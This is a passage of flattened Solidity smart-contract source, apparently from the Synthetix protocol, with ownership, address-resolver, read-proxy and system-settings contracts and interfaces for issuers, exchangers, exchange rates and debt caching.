require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Synthetix
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
// solhint-disable payable-fallback
// https://docs.synthetix.io/contracts/source/contracts/readproxy
contract ReadProxy is Owned {
address public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(address _target) external onlyOwner {
target = _target;
emit TargetUpdated(target);
}
function() external {
// The basics of a proxy read call
// Note that msg.sender in the underlying will always be the address of this contract.
assembly {
calldatacopy(0, 0, calldatasize)
// Use of staticcall - this will revert if the underlying function mutates state
let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)
if iszero(result) {
revert(0, returndatasize)
}
return(0, returndatasize)
}
}
event TargetUpdated(address newTarget);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// https://docs.synthetix.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) external;
function setUIntValues(
bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values
) external;
function setIntValue(
bytes32 contractName,
bytes32 record,
int value
) external;
function setIntValues(
bytes32 contractName,
bytes32[] calldata records,
int[] calldata values
) external;
function setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) external;
function setAddressValues(
bytes32 contractName,
bytes32[] calldata records,
address[] calldata values
) external;
function setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) external;
function setBoolValues(
bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values
) external;
function setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) external;
function setBytes32Values(
bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values
) external;
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinsystemsettings
contract MixinSystemSettings is MixinResolver {
bytes32 internal constant SETTING_CONTRACT_NAME = "SystemSettings";
bytes32 internal constant SETTING_WAITING_PERIOD_SECS = "waitingPeriodSecs";
bytes32 internal constant SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR = "priceDeviationThresholdFactor";
bytes32 internal constant SETTING_ISSUANCE_RATIO = "issuanceRatio";
bytes32 internal constant SETTING_FEE_PERIOD_DURATION = "feePeriodDuration";
bytes32 internal constant SETTING_TARGET_THRESHOLD = "targetThreshold";
bytes32 internal constant SETTING_LIQUIDATION_DELAY = "liquidationDelay";
bytes32 internal constant SETTING_LIQUIDATION_RATIO = "liquidationRatio";
bytes32 internal constant SETTING_LIQUIDATION_PENALTY = "liquidationPenalty";
bytes32 internal constant SETTING_RATE_STALE_PERIOD = "rateStalePeriod";
bytes32 internal constant SETTING_EXCHANGE_FEE_RATE = "exchangeFeeRate";
bytes32 internal constant SETTING_MINIMUM_STAKE_TIME = "minimumStakeTime";
bytes32 internal constant SETTING_AGGREGATOR_WARNING_FLAGS = "aggregatorWarningFlags";
bytes32 internal constant SETTING_TRADING_REWARDS_ENABLED = "tradingRewardsEnabled";
bytes32 internal constant SETTING_DEBT_SNAPSHOT_STALE_TIME = "debtSnapshotStaleTime";
bytes32 internal constant SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT = "crossDomainDepositGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT = "crossDomainEscrowGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT = "crossDomainRewardGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT = "crossDomainWithdrawalGasLimit";
bytes32 internal constant SETTING_ETHER_WRAPPER_MAX_ETH = "etherWrapperMaxETH";
bytes32 internal constant SETTING_ETHER_WRAPPER_MINT_FEE_RATE = "etherWrapperMintFeeRate";
bytes32 internal constant SETTING_ETHER_WRAPPER_BURN_FEE_RATE = "etherWrapperBurnFeeRate";
bytes32 internal constant CONTRACT_FLEXIBLESTORAGE = "FlexibleStorage";
enum CrossDomainMessageGasLimits {Deposit, Escrow, Reward, Withdrawal}
constructor(address _resolver) internal MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
addresses = new bytes32[](1);
addresses[0] = CONTRACT_FLEXIBLESTORAGE;
}
function flexibleStorage() internal view returns (IFlexibleStorage) {
return IFlexibleStorage(requireAndGetAddress(CONTRACT_FLEXIBLESTORAGE));
}
function _getGasLimitSetting(CrossDomainMessageGasLimits gasLimitType) internal pure returns (bytes32) {
if (gasLimitType == CrossDomainMessageGasLimits.Deposit) {
return SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Escrow) {
return SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Reward) {
return SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Withdrawal) {
return SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT;
} else {
revert("Unknown gas limit type");
}
}
function getCrossDomainMessageGasLimit(CrossDomainMessageGasLimits gasLimitType) internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, _getGasLimitSetting(gasLimitType));
}
function getTradingRewardsEnabled() internal view returns (bool) {
return flexibleStorage().getBoolValue(SETTING_CONTRACT_NAME, SETTING_TRADING_REWARDS_ENABLED);
}
function getWaitingPeriodSecs() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_WAITING_PERIOD_SECS);
}
function getPriceDeviationThresholdFactor() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR);
}
function getIssuanceRatio() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ISSUANCE_RATIO);
}
function getFeePeriodDuration() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_FEE_PERIOD_DURATION);
}
function getTargetThreshold() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_TARGET_THRESHOLD);
}
function getLiquidationDelay() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_DELAY);
}
function getLiquidationRatio() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_RATIO);
}
function getLiquidationPenalty() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_PENALTY);
}
function getRateStalePeriod() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_RATE_STALE_PERIOD);
}
function getExchangeFeeRate(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_EXCHANGE_FEE_RATE, currencyKey))
);
}
function getMinimumStakeTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_MINIMUM_STAKE_TIME);
}
function getAggregatorWarningFlags() internal view returns (address) {
return flexibleStorage().getAddressValue(SETTING_CONTRACT_NAME, SETTING_AGGREGATOR_WARNING_FLAGS);
}
function getDebtSnapshotStaleTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_DEBT_SNAPSHOT_STALE_TIME);
}
function getEtherWrapperMaxETH() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MAX_ETH);
}
function getEtherWrapperMintFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MINT_FEE_RATE);
}
function getEtherWrapperBurnFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_BURN_FEE_RATE);
}
}
interface IDebtCache {
// Views
function cachedDebt() external view returns (uint);
function cachedSynthDebt(bytes32 currencyKey) external view returns (uint);
function cacheTimestamp() external view returns (uint);
function cacheInvalid() external view returns (bool);
function cacheStale() external view returns (bool);
function currentSynthDebts(bytes32[] calldata currencyKeys)
external
view
returns (
uint[] memory debtValues,
uint excludedDebt,
bool anyRateIsInvalid
);
function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues);
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid);
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid);
function cacheInfo()
external
view
returns (
uint debt,
uint timestamp,
bool isInvalid,
bool isStale
);
// Mutative functions
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external;
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external;
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external;
function updateDebtCacheValidity(bool currentlyInvalid) external;
function purgeCachedSynthDebt(bytes32 currencyKey) external;
function takeDebtSnapshot() external;
}
interface IVirtualSynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function synth() external view returns (ISynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iexchanger
interface IExchanger {
// Views
function calculateAmountAfterSettlement(
address from,
bytes32 currencyKey,
uint amount,
uint refunded
) external view returns (uint amountAfterSettlement);
function isSynthRateInvalid(bytes32 currencyKey) external view returns (bool);
function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint);
function settlementOwing(address account, bytes32 currencyKey)
external
view
returns (
uint reclaimAmount,
uint rebateAmount,
uint numEntries
);
function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool);
function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey)
external
view
returns (uint exchangeFeeRate);
function getAmountsForExchange(
uint sourceAmount,
bytes32 sourceCurrencyKey,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint amountReceived,
uint fee,
uint exchangeFeeRate
);
function priceDeviationThresholdFactor() external view returns (uint);
function waitingPeriodSecs() external view returns (uint);
// Mutative functions
function exchange(
address exchangeForAddress,
address from,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address destinationAddress,
bool virtualSynth,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualSynth vSynth);
function settle(address from, bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
function setLastExchangeRateForSynth(bytes32 currencyKey, uint rate) external;
function resetLastExchangeRate(bytes32[] calldata currencyKeys) external;
function suspendSynthWithInvalidRate(bytes32 currencyKey) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iexchangerates
interface IExchangeRates {
// Structs
struct RateAndUpdatedTime {
uint216 rate;
uint40 time;
}
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozenAtUpperLimit;
bool frozenAtLowerLimit;
}
// Views
function aggregators(bytes32 currencyKey) external view returns (address);
function aggregatorWarningFlags() external view returns (address);
function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool);
function canFreezeRate(bytes32 currencyKey) external view returns (bool);
function currentRoundForRate(bytes32 currencyKey) external view returns (uint);
function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory);
function effectiveValue(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external view returns (uint value);
function effectiveValueAndRates(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint value,
uint sourceRate,
uint destinationRate
);
function effectiveValueAtRound(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
uint roundIdForSrc,
uint roundIdForDest
) external view returns (uint value);
function getCurrentRoundId(bytes32 currencyKey) external view returns (uint);
function getLastRoundIdBeforeElapsedSecs(
bytes32 currencyKey,
uint startingRoundId,
uint startingTimestamp,
uint timediff
) external view returns (uint);
function inversePricing(bytes32 currencyKey)
external
view
returns (
uint entryPoint,
uint upperLimit,
uint lowerLimit,
bool frozenAtUpperLimit,
bool frozenAtLowerLimit
);
function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256);
function oracle() external view returns (address);
function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time);
function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time);
function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid);
function rateForCurrency(bytes32 currencyKey) external view returns (uint);
function rateIsFlagged(bytes32 currencyKey) external view returns (bool);
function rateIsFrozen(bytes32 currencyKey) external view returns (bool);
function rateIsInvalid(bytes32 currencyKey) external view returns (bool);
function rateIsStale(bytes32 currencyKey) external view returns (bool);
function rateStalePeriod() external view returns (uint);
function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds)
external
view
returns (uint[] memory rates, uint[] memory times);
function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory rates, bool anyRateInvalid);
function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory);
// Mutative functions
function freezeRate(bytes32 currencyKey) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requireSynthActive(bytes32 currencyKey) external view;
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendSynth(bytes32 currencyKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iethercollateral
interface IEtherCollateral {
// Views
function totalIssuedSynths() external view returns (uint256);
function totalLoansCreated() external view returns (uint256);
function totalOpenLoanCount() external view returns (uint256);
// Mutative functions
function openLoan() external payable returns (uint256 loanID);
function closeLoan(uint256 loanID) external;
function liquidateUnclosedLoan(address _loanCreatorsAddress, uint256 _loanID) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iethercollateralsusd
interface IEtherCollateralsUSD {
// Views
function totalIssuedSynths() external view returns (uint256);
function totalLoansCreated() external view returns (uint256);
function totalOpenLoanCount() external view returns (uint256);
// Mutative functions
function openLoan(uint256 _loanAmount) external payable returns (uint256 loanID);
function closeLoan(uint256 loanID) external;
function liquidateUnclosedLoan(address _loanCreatorsAddress, uint256 _loanID) external;
function depositCollateral(address account, uint256 loanID) external payable;
function withdrawCollateral(uint256 loanID, uint256 withdrawAmount) external;
function repayLoan(
address _loanCreatorsAddress,
uint256 _loanID,
uint256 _repayAmount
) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface ICollateralManager {
// Manager information
function hasCollateral(address collateral) external view returns (bool);
function isSynthManaged(bytes32 currencyKey) external view returns (bool);
// State information
function long(bytes32 synth) external view returns (uint amount);
function short(bytes32 synth) external view returns (uint amount);
function totalLong() external view returns (uint susdValue, bool anyRateIsInvalid);
function totalShort() external view returns (uint susdValue, bool anyRateIsInvalid);
function getBorrowRate() external view returns (uint borrowRate, bool anyRateIsInvalid);
function getShortRate(bytes32 synth) external view returns (uint shortRate, bool rateIsInvalid);
function getRatesAndTime(uint index)
external
view
returns (
uint entryRate,
uint lastRate,
uint lastUpdated,
uint newIndex
);
function getShortRatesAndTime(bytes32 currency, uint index)
external
view
returns (
uint entryRate,
uint lastRate,
uint lastUpdated,
uint newIndex
);
function exceedsDebtLimit(uint amount, bytes32 currency) external view returns (bool canIssue, bool anyRateIsInvalid);
function areSynthsAndCurrenciesSet(bytes32[] calldata requiredSynthNamesInResolver, bytes32[] calldata synthKeys)
external
view
returns (bool);
function areShortableSynthsSet(bytes32[] calldata requiredSynthNamesInResolver, bytes32[] calldata synthKeys)
external
view
returns (bool);
// Loans
function getNewLoanId() external returns (uint id);
// Manager mutative
function addCollaterals(address[] calldata collaterals) external;
function removeCollaterals(address[] calldata collaterals) external;
function addSynths(bytes32[] calldata synthNamesInResolver, bytes32[] calldata synthKeys) external;
function removeSynths(bytes32[] calldata synths, bytes32[] calldata synthKeys) external;
function addShortableSynths(bytes32[2][] calldata requiredSynthAndInverseNamesInResolver, bytes32[] calldata synthKeys)
external;
function removeShortableSynths(bytes32[] calldata synths) external;
// State mutative
function updateBorrowRates(uint rate) external;
function updateShortRates(bytes32 currency, uint rate) external;
function incrementLongs(bytes32 synth, uint amount) external;
function decrementLongs(bytes32 synth, uint amount) external;
function incrementShorts(bytes32 synth, uint amount) external;
function decrementShorts(bytes32 synth, uint amount) external;
}
interface IWETH {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// WETH-specific functions.
function deposit() external payable;
function withdraw(uint amount) external;
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Deposit(address indexed to, uint amount);
event Withdrawal(address indexed to, uint amount);
}
// https://docs.synthetix.io/contracts/source/interfaces/ietherwrapper
contract IEtherWrapper {
function mint(uint amount) external;
function burn(uint amount) external;
function distributeFees() external;
function capacity() external view returns (uint);
function getReserves() external view returns (uint);
function totalIssuedSynths() external view returns (uint);
function calculateMintFee(uint amount) public view returns (uint);
function calculateBurnFee(uint amount) public view returns (uint);
function maxETH() public view returns (uint256);
function mintFeeRate() public view returns (uint256);
function burnFeeRate() public view returns (uint256);
function weth() public view returns (IWETH);
}
// Inheritance
// Libraries
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/debtcache
contract BaseDebtCache is Owned, MixinSystemSettings, IDebtCache {
using SafeMath for uint;
using SafeDecimalMath for uint;
uint internal _cachedDebt;
mapping(bytes32 => uint) internal _cachedSynthDebt;
uint internal _cacheTimestamp;
bool internal _cacheInvalid = true;
/* ========== ENCODED NAMES ========== */
bytes32 internal constant sUSD = "sUSD";
bytes32 internal constant sETH = "sETH";
/* ========== ADDRESS RESOLVER CONFIGURATION ========== */
bytes32 private constant CONTRACT_ISSUER = "Issuer";
bytes32 private constant CONTRACT_EXCHANGER = "Exchanger";
bytes32 private constant CONTRACT_EXRATES = "ExchangeRates";
bytes32 private constant CONTRACT_SYSTEMSTATUS = "SystemStatus";
bytes32 private constant CONTRACT_ETHERCOLLATERAL = "EtherCollateral";
bytes32 private constant CONTRACT_ETHERCOLLATERAL_SUSD = "EtherCollateralsUSD";
bytes32 private constant CONTRACT_COLLATERALMANAGER = "CollateralManager";
bytes32 private constant CONTRACT_ETHER_WRAPPER = "EtherWrapper";
constructor(address _owner, address _resolver) public Owned(_owner) MixinSystemSettings(_resolver) {}
/* ========== VIEWS ========== */
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
bytes32[] memory existingAddresses = MixinSystemSettings.resolverAddressesRequired();
bytes32[] memory newAddresses = new bytes32[](8);
newAddresses[0] = CONTRACT_ISSUER;
newAddresses[1] = CONTRACT_EXCHANGER;
newAddresses[2] = CONTRACT_EXRATES;
newAddresses[3] = CONTRACT_SYSTEMSTATUS;
newAddresses[4] = CONTRACT_ETHERCOLLATERAL;
newAddresses[5] = CONTRACT_ETHERCOLLATERAL_SUSD;
newAddresses[6] = CONTRACT_COLLATERALMANAGER;
newAddresses[7] = CONTRACT_ETHER_WRAPPER;
addresses = combineArrays(existingAddresses, newAddresses);
}
function issuer() internal view returns (IIssuer) {
return IIssuer(requireAndGetAddress(CONTRACT_ISSUER));
}
function exchanger() internal view returns (IExchanger) {
return IExchanger(requireAndGetAddress(CONTRACT_EXCHANGER));
}
function exchangeRates() internal view returns (IExchangeRates) {
return IExchangeRates(requireAndGetAddress(CONTRACT_EXRATES));
}
function systemStatus() internal view returns (ISystemStatus) {
return ISystemStatus(requireAndGetAddress(CONTRACT_SYSTEMSTATUS));
}
function etherCollateral() internal view returns (IEtherCollateral) {
return IEtherCollateral(requireAndGetAddress(CONTRACT_ETHERCOLLATERAL));
}
function etherCollateralsUSD() internal view returns (IEtherCollateralsUSD) {
return IEtherCollateralsUSD(requireAndGetAddress(CONTRACT_ETHERCOLLATERAL_SUSD));
}
function collateralManager() internal view returns (ICollateralManager) {
return ICollateralManager(requireAndGetAddress(CONTRACT_COLLATERALMANAGER));
}
function etherWrapper() internal view returns (IEtherWrapper) {
return IEtherWrapper(requireAndGetAddress(CONTRACT_ETHER_WRAPPER));
}
